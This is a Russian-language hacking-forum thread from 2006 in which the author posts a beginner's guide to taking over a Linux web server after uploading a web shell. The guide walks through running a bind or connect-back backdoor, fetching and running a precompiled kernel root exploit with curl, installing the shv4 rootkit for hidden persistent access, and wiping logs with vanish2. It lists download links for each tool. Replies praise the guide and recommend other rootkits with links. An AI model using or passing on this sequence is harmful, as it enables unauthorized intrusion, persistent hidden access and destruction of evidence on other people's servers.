Авторские статьи R00t me №1

Discussion in 'Статьи' started by Desr0w, 12 Apr 2006.

  1. Desr0w

    Desr0w Banned

    Joined:
    1 Feb 2006
    Messages:
    370
    Likes Received:
    166
    Reputations:
    45
    Решил написать статейку для расширения кругозора новичков античата в целом.
    Думаю, она многим понадобится и даст маленький толчок в дальнейшем развитии.
    Статья предназначена для тех, кто уже умеет заливать веб-шелл и ознакомлен со всеми его прелестями...
    Итак – мы залили шелл. Что же делать дальше?

    Отдаём первую команду:
    Code:
    uname –a
    Что же мы видим?
    Linux nalog.com 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux
    Ядро старо,как мир.Нашей задачей будет поднять свои привилегии до максимальных aka root.Описание взлома всех версий линуксов,фрях,ect описать не реально-так что в этой статье будем говорить исключительно о Linux 2.4.20-8.
    Погнали)
    Для начала проделаем следующие шаги:
    1)
    Code:
     cd /tmp
     mkdir logs
     cd logs
    2)Cливаем: bind.pl
    Code:
    chmod +x bind.pl
    perl bind.pl
    Запускаем: netcat
    Code:
    nc sitename 32767 
    Где sitename -ваш сайт.
    При открытии окна командуем: id.Работает?
    Отлично)
    Но межет и не работать если фаер фильтрует соединение(
    Тогда скачиваем
    Connect-Back Backdoor (bd.c)
    Code:
    chmod +x bd.c
    gcc db.c –o bd
    После чего ставим netcat на прослушку 4000-ого порта:
    Code:
    -l –p 4000 
    И запускаем бекдор:
    Code:
    ./db 127.0.0.1  

    Где 127.0.0.1 ваш реальный ip.
    И вот в окошке появилась надпись - Connected to CommandLine...
    Приступим к решительным действиям:
    Скачиваем сплойт для этой версии ядра-вполне должен подойти
    mremap_pte,но я советую воспользоваться xpl_brk ,т.к он меня редко подводил.
    Скачиваем уже cкомпилированный сплойт:
    Code:
    curl  [url]http://xpl.netmisphere2.com/xpl_brk[/url] 
    chmod +x  xpl_brk
    ./ xpl_brk
    id 
    [COLOR=Red]uid=0(root) gid=0(root)[/COLOR] 
    Отлично.Мы добись того чего хотели,но это только пол дела.
    [​IMG]
    Надо закрепиться в системе для этого скачиваем руткит-возьмём shv4
    Code:
    curl [url]http://splo1t.narod.ru/rootkits/shv4.tar.gz[/url]
    tar xzf shv4.tar.gz
    cd shv4
    chmod +x setup
    ./setup pass  4321
    *где pass(пароль) и 4321(порт) ваши значения. Во избежание проблем не советую вешать на высокий порт.
    Заходит в putty указываем сайт, порт и конектимся.
    Имя root,а пароль тот что вы указали при настройке. В моём случае это pass.
    Зашли?

    Выполняем команду:
    Code:
    nestat -an 
    Как видите заданный порт не где не светится,а значит мы освободили себя от зоркого глаза админа:)
    Осталось, почистить логи.
    Скачиваем один из лучших клинеров под *nix
    -vanish2
    Code:
    chmod +x vanish2.
    Собираем
    Code:
     gcc vanish2.c –o vanish
    Запускаем:
    Code:
    ./vanish root name_site 127.0.0.1 
    *Где 127.0.0.1 ваш реальный ip.
    Видим надпись:
    V_A_N_I_S_H_E_D_! Которая не может не радовать глаз.
    _ _ _ _ _ _ _ _ _ _ _ _ _ _
    На этом моя статейка кончается-надеюсь она поможет новичкам...
    Ссылки:
    r57Shell: http://hcr.3dn.ru/expl/php/r57shell.txt
    Netcat:http://pro-hack.ru/download/s_nettools_2.html
    bind.pl: http://nsd.ru/soft/1/ano/bind.pl.txt
    Connect-Back Backdoor: http://desrow.narod.ru/www/bd.rar
    xpl_brk: http://desrow.narod.ru/exploits/xpl_brk.rar
    shv4: http://desrow.narod.ru/rootkits/shv4_.rar
    Putty: http://pro-hack.ru/download/s_nettools_4.html
    vanish2: http://nsd.ru/soft/1/anonimus/vanish2.tgz
    For any link pass:antichat
    =====[ Desr0w | | 12.04.2006 ]=====
     
    #1 Desr0w, 12 Apr 2006
    Last edited: 2 Aug 2008
  2. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,089
    Likes Received:
    820
    Reputations:
    324
    Молодец, хорошая статья.
     
  3. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    ну так, опять ничего особенного :)
    для новичков пойдёт, но надо было бы расписать значение набранных команд...
    + всё же поставлю...
     
  4. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    Как раз для новичков =) Нормуль!
     
  5. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Хорошая статья.... кста, в Nfm уже сразу сплойты есть.... скачиваются сразу скомпиленными.....
     
    _________________________
  6. evil_packman

    evil_packman New Member

    Joined:
    16 Feb 2006
    Messages:
    0
    Likes Received:
    0
    Reputations:
    -1
    хмм статья конечно для новечков ничего, тока вот shv4 или 5 ставить не советую, так как он палит порт и легго пропаливается нмапом при сканировании.
    советую лучше suckit http://packetstormsecurity.org/UNIX/penetration/rootkits/sk-1.3a.tar.gz
    тока собирается он не всегда.
    или adore если есть шелл доступ http://www.eviltime.com/download_id.php?id=147

    или смотрим руткиты на этой паге http://www.eviltime.com/download.php?page=hacking&subpage=rootkits
     
    #6 evil_packman, 12 Apr 2006
    Last edited: 12 Apr 2006
  7. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    А почему бы не сразу СЮДА?))
     
    _________________________
  8. Desr0w

    Desr0w Banned

    Joined:
    1 Feb 2006
    Messages:
    370
    Likes Received:
    166
    Reputations:
    45
    Ну я ж сказал для тех кто умеет юзать хотя бы веб-шелл.По идеи они должны знать эти команды.
    Ну мне не сложно:
    pwd
    Эта команда выводит на экран полный путь к текущему каталогу.
    В любой момент можно узнать где вы находитесь.


    ls

    Команда ls выводит список файлов и подкаталога.
    По умолчанию файлы начинающиеся с точки (.) скрываются.
    Чтобы их увидеть надо добавить ключ -a:
    ls -a
    Для полной инфы от папках и файлах и ссылках:
    ls -al
    Хотим просмотреть файлы в других дирах:
    Code:
    ls -al /tmp

    cd
    команда позволяет сменить текщий каталог:
    Code:
    cd /tmp/bbb
    и вы уже в папке bbb
    например в каталоге bbb есть подкаталог bb-перейдём в него.
    Code:
    cd bb
    Если нужно переместится на каталог выше:
    Code:
    cd ..
    mkdir
    Создание директории.
    Например:
    Code:
    mkdir antichat
    rm
    Удаление файлов.
    Для удаления директорий нужны след. ключи:
    -d -- удалить директорию.
    -r -- удалять содержимое директорий.
    -f --не спрашивать подтверждение на удаление.
    Code:
    rm -rf /tmp/bbb/antichat 
    - так мы удалим дирикторию antichat.

    tar
    В никсах нет винрара:)
    Архивы поставляются в виде tar.gz
    Разархивируем:
    Code:
    tar xzvf namefile.tar.gz
    which
    Команда предназначена для того,чтобы узнать каталог в котором находится программа.
    Мы например узнаём какая качалка стоит на серве.
    Пример:
    Code:
    which ls  
    /usr/bin/ls
    Ну вот вроде все команды использованные в статье.
    А..И еще немного о качалках:
    Самая распространенная -wget
    есть еще:
    curl
    fetch

    lynx
    links
    GET


    зы:
    uname -a
    показывает версию системы и еще кое что.

    id -показывает ваши права.

    hostname

    показывает имя сайта.
    есть ключ -i
    Code:
    hostname -i 
    покажет ip данного сайта.
    The end.
     
    #8 Desr0w, 12 Apr 2006
    Last edited: 2 Aug 2008
    2 people like this.
  9. Desr0w

    Desr0w Banned

    Joined:
    1 Feb 2006
    Messages:
    370
    Likes Received:
    166
    Reputations:
    45
    Описание руткитов:тут
     
    3 people like this.
  10. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    неплохо молодец
     
    #10 KEZ, 12 Apr 2006
    Last edited: 13 Apr 2006
  11. Desr0w

    Desr0w Banned

    Joined:
    1 Feb 2006
    Messages:
    370
    Likes Received:
    166
    Reputations:
    45
    Kez,приятно слышать это от тебя!
    Чесно так думаешь?
     
    #11 Desr0w, 12 Apr 2006
    Last edited: 13 Apr 2006
  12. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    да я действительно так думаю....
     
    #12 KEZ, 12 Apr 2006
    Last edited: 13 Apr 2006
    1 person likes this.
  13. Desr0w

    Desr0w Banned

    Joined:
    1 Feb 2006
    Messages:
    370
    Likes Received:
    166
    Reputations:
    45
    Сори за оффпот.
    Kez,отписал-что не отвечаешь.
    Ты бы асю еще свою дал;)
     
  14. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    Вот теперь всё на своих местах :) надеюсь не будет никаких глупых вопросов от нубов типа: "что такое ls, как разархивировать архив, как посмотреть открытые порты..."

    Из этой статьи больше понравилась часть про руткиты, хороший обзор, много интересного, побольше бы таких статей про sql, тогда бы было ВСЁ супер!
     
  15. Desr0w

    Desr0w Banned

    Joined:
    1 Feb 2006
    Messages:
    370
    Likes Received:
    166
    Reputations:
    45
    Скоро думаю написать про установку всего нужного софта и т.д.
    Мелочь конечно,но думаю после прочтения этой статьи и просмотра видео кому то понадобится...
    Естественно всё будет написано в жанре для новичков:)
     
  16. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    1 person likes this.
  17. Br0nek

    Br0nek New Member

    Joined:
    8 Apr 2006
    Messages:
    6
    Likes Received:
    3
    Reputations:
    2
    Я очень много нового узнал ;) Молодец Дес ! Так держать, жду следущих материалов ...
     
    1 person likes this.
  18. gr3yh47

    gr3yh47 Banned

    Joined:
    7 Nov 2005
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Desr0w
    зачем делать так:
    cd /tmp
    mkdir logs
    cd logs
    если все можна в 1ну строку через ;
    далее
    chmod +x bind.pl
    perl bind.pl
    &
    chmod +x bd.c
    gcc db.c –o bd
    зачем??? ты знаешь значение +x ???

    почитай маны по tar & hostname а курсы у тебя наверное не очень =)

    ps: статья отстой! даже для новичков! не в обиду брат!
     
    #18 gr3yh47, 13 Apr 2006
    Last edited by a moderator: 13 Apr 2006
  19. Desr0w

    Desr0w Banned

    Joined:
    1 Feb 2006
    Messages:
    370
    Likes Received:
    166
    Reputations:
    45
    Буду признателен,если мемберы/модеры поставят этому доброму человеку пару десятков минусов.Думаю есть за что.При -10 автобан работает?
    Не понимаю я таких людей:
    Вот я писал-старался...Всё оценили данную статью,как хороший мануал для новичков.
    Но вот появляется борзый новичёк и обсирает мою статью и меня.Зачем это человеку надо?
    Ну может он второй Кевин Митник или кто другой,если считает что эта статья плоха даже для новичков...
    своими словами обламываешь так?
    А может он просто набиваешь посты т.к кроме критики и мата нечего больше ответить. :)
    гг
     
    #19 Desr0w, 13 Apr 2006
    Last edited: 13 Apr 2006
  20. Morph

    Morph Пирожок с Маком

    Joined:
    13 Aug 2004
    Messages:
    790
    Likes Received:
    113
    Reputations:
    169
    угу спасиба как роаз вчера все мозги себе проебал с этой байдой.